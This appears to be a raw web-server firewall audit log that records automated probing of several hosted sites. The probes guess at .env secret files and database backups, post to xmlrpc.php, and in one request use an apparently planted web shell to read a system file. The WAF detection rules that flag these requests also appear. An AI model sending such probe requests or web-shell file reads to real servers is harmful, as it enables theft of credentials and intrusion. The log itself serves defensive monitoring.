ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sitemaps/.env"] [unique_id "aE9_FPvF1ly0gx5reNmILgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040340510164 754170 (- - -) Stopwatch2: 1750040340510164 754170; combined=1918, p1=375, p2=1448, p3=0, p4=0, p5=94, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --26bfa814-Z-- --5e6b397c-A-- [16/Jun/2025:07:49:02.350199 +0530] aE9_FWCnKbldJKSM7aweOQAAAAc 185.177.72.210 50208 127.0.0.1 7081 --5e6b397c-B-- GET /xampp/index.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5e6b397c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d0d674f1b652f5e4d2fc2f1d75257e741750040342; expires=Mon, 16 Jun 2025 03:19:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5e6b397c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/index.php.old"] [unique_id "aE9_FWCnKbldJKSM7aweOQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040341588521 761772 (- - -) Stopwatch2: 1750040341588521 761772; combined=2099, p1=342, p2=1640, p3=0, p4=0, p5=117, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e6b397c-Z-- --ef439130-A-- [16/Jun/2025:07:49:35.567550 +0530] aE9_NqvO5IZc5ZzLe_3rIAAAAAA 128.199.112.101 45404 127.0.0.1 7081 --ef439130-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ef439130-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ef439130-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9_NqvO5IZc5ZzLe_3rIAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040374590591 977020 (- - -) Stopwatch2: 1750040374590591 977020; combined=2148, p1=366, p2=1317, p3=41, p4=65, p5=213, sr=106, sw=146, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef439130-Z-- --68c5ad20-A-- [16/Jun/2025:07:49:37.439834 +0530] aE9_OAS4XDlCv3KXioQLYQAAAAY 185.177.72.210 45482 127.0.0.1 7081 --68c5ad20-B-- GET /backup/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68c5ad20-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=acb4c82946296591755e9e8ef83226fb1750040377; expires=Mon, 16 Jun 2025 03:19:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68c5ad20-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup/db_backup.sql"] [unique_id "aE9_OAS4XDlCv3KXioQLYQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040376795194 644716 (- - -) Stopwatch2: 1750040376795194 644716; combined=1744, p1=325, p2=1314, p3=0, p4=0, p5=104, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68c5ad20-Z-- --52e07761-A-- [16/Jun/2025:07:49:42.632263 +0530] aE9_PuMjvy_LHXlMeRAY4gAAAAU 216.73.216.83 55454 127.0.0.1 7081 --52e07761-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2Fvar%2Fspool%2Fpostfix%2Fetc&viewfile=%2Fvar%2Fspool%2Fpostfix%2Fetc%2Fresolv.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --52e07761-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3431 Connection: close Content-Type: text/html; charset=UTF-8 --52e07761-E-- --52e07761-H-- Message: Warning. Matched phrase "etc/resolv.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/resolv.conf found within ARGS:viewfile: /var/spool/postfix/etc/resolv.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/resolv.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/resolv.conf found within ARGS:viewfile: /var/spool/postfix/etc/resolv.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9_PuMjvy_LHXlMeRAY4gAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750040382627989 4333 (- - -) Stopwatch2: 1750040382627989 4333; combined=2396, p1=367, p2=1891, p3=43, p4=37, p5=58, sr=94, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52e07761-Z-- --72aff63d-A-- [16/Jun/2025:07:49:44.229014 +0530] aE9_PwS4XDlCv3KXioQLaAAAAAY 185.177.72.210 55574 127.0.0.1 7081 --72aff63d-B-- GET /:8080/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72aff63d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=176e311fefe5d3a63dc0c6075c35cbd21750040384; expires=Mon, 16 Jun 2025 03:19:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72aff63d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/audio/.env"] [unique_id "aE9_PwS4XDlCv3KXioQLaAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040383560262 668814 (- - -) Stopwatch2: 1750040383560262 668814; combined=1906, p1=388, p2=1422, p3=0, p4=0, p5=95, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72aff63d-Z-- --51b60a32-A-- [16/Jun/2025:07:49:49.246102 +0530] aE9_RAD0DwMUVKUIct3bbwAAAAI 185.177.72.210 55902 127.0.0.1 7081 --51b60a32-B-- GET /:8008/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51b60a32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=32457a377a2af3ac8b81c2d89904dde21750040389; expires=Mon, 16 Jun 2025 03:19:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51b60a32-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/protected/.env"] [unique_id "aE9_RAD0DwMUVKUIct3bbwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040388581693 664471 (- - -) Stopwatch2: 1750040388581693 664471; combined=2042, p1=400, p2=1540, p3=0, p4=0, p5=102, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51b60a32-Z-- --b222762e-A-- [16/Jun/2025:07:50:00.208497 +0530] aE9_T1LyTgTLRBnIBDZhqAAAAAM 185.177.72.210 40310 127.0.0.1 7081 --b222762e-B-- GET /backups.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b222762e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ed8324e37d4f4c5f35ce814057f06fc11750040400; expires=Mon, 16 Jun 2025 03:20:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b222762e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups.old"] [unique_id "aE9_T1LyTgTLRBnIBDZhqAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040399555251 653349 (- - -) Stopwatch2: 1750040399555251 653349; combined=1810, p1=330, p2=1337, p3=0, p4=0, p5=142, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b222762e-Z-- --8113df77-A-- [16/Jun/2025:07:50:16.036896 +0530] aE9_X6vO5IZc5ZzLe_3rOAAAAAA 185.177.72.210 41546 127.0.0.1 7081 --8113df77-B-- GET /services/portainer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8113df77-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f9caa66abb996efec554956aa5bcdb6e1750040415; expires=Mon, 16 Jun 2025 03:20:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8113df77-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/portainer/.env"] [unique_id "aE9_X6vO5IZc5ZzLe_3rOAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040415367695 669320 (- - -) Stopwatch2: 1750040415367695 669320; combined=1887, p1=392, p2=1387, p3=0, p4=0, p5=107, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8113df77-Z-- --b97c2a6b-A-- [16/Jun/2025:07:50:17.132906 +0530] aE9_YLoFnONBt7jRcBybLQAAAA4 185.177.72.210 41612 127.0.0.1 7081 --b97c2a6b-B-- GET /:8443/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b97c2a6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e787f83ba67a7c142aba430400b1f4171750040416; expires=Mon, 16 Jun 2025 03:20:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b97c2a6b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.5"] [unique_id "aE9_YLoFnONBt7jRcBybLQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040416475696 657296 (- - -) Stopwatch2: 1750040416475696 657296; combined=1899, p1=356, p2=1447, p3=0, p4=0, p5=95, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b97c2a6b-Z-- --a62dd35d-A-- [16/Jun/2025:07:50:18.180494 +0530] aE9_YWCnKbldJKSM7aweZgAAAAc 185.177.72.210 41662 127.0.0.1 7081 --a62dd35d-B-- GET /:5601/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a62dd35d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e0eb9fac62dbd511d394b227951af7921750040418; expires=Mon, 16 Jun 2025 03:20:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a62dd35d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/dev/.env"] [unique_id "aE9_YWCnKbldJKSM7aweZgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040417455268 725290 (- - -) Stopwatch2: 1750040417455268 725290; combined=2208, p1=429, p2=1662, p3=0, p4=0, p5=116, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a62dd35d-Z-- --c30b175a-A-- [16/Jun/2025:07:50:35.604562 +0530] aE9_clLyTgTLRBnIBDZhuwAAAAM 128.199.112.101 34892 127.0.0.1 7081 --c30b175a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c30b175a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c30b175a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9_clLyTgTLRBnIBDZhuwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040434552835 1051793 (- - -) Stopwatch2: 1750040434552835 1051793; combined=2331, p1=358, p2=1530, p3=42, p4=65, p5=202, sr=95, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c30b175a-Z-- --3a763643-A-- [16/Jun/2025:07:50:41.682677 +0530] aE9_efvF1ly0gx5reNmIaQAAAAE 185.177.72.210 43042 127.0.0.1 7081 --3a763643-B-- GET /cabal.sandbox.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a763643-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6e38aaee84345d9a3f8e6499fa379f9f1750040441; expires=Mon, 16 Jun 2025 03:20:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a763643-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sandbox.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sandbox.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/cabal.sandbox.config"] [unique_id "aE9_efvF1ly0gx5reNmIaQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040441038279 644502 (- - -) Stopwatch2: 1750040441038279 644502; combined=1820, p1=320, p2=1356, p3=0, p4=0, p5=144, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a763643-Z-- --71a2643d-A-- [16/Jun/2025:07:50:48.473355 +0530] aE9_f4kQyF8-ounHsxsMbgAAAA8 185.177.72.210 43310 127.0.0.1 7081 --71a2643d-B-- GET /:8000/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71a2643d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7bdd24acf96ff24737fbbda3605533e1750040448; expires=Mon, 16 Jun 2025 03:20:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71a2643d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.c9/metadata/environment/.env"] [unique_id 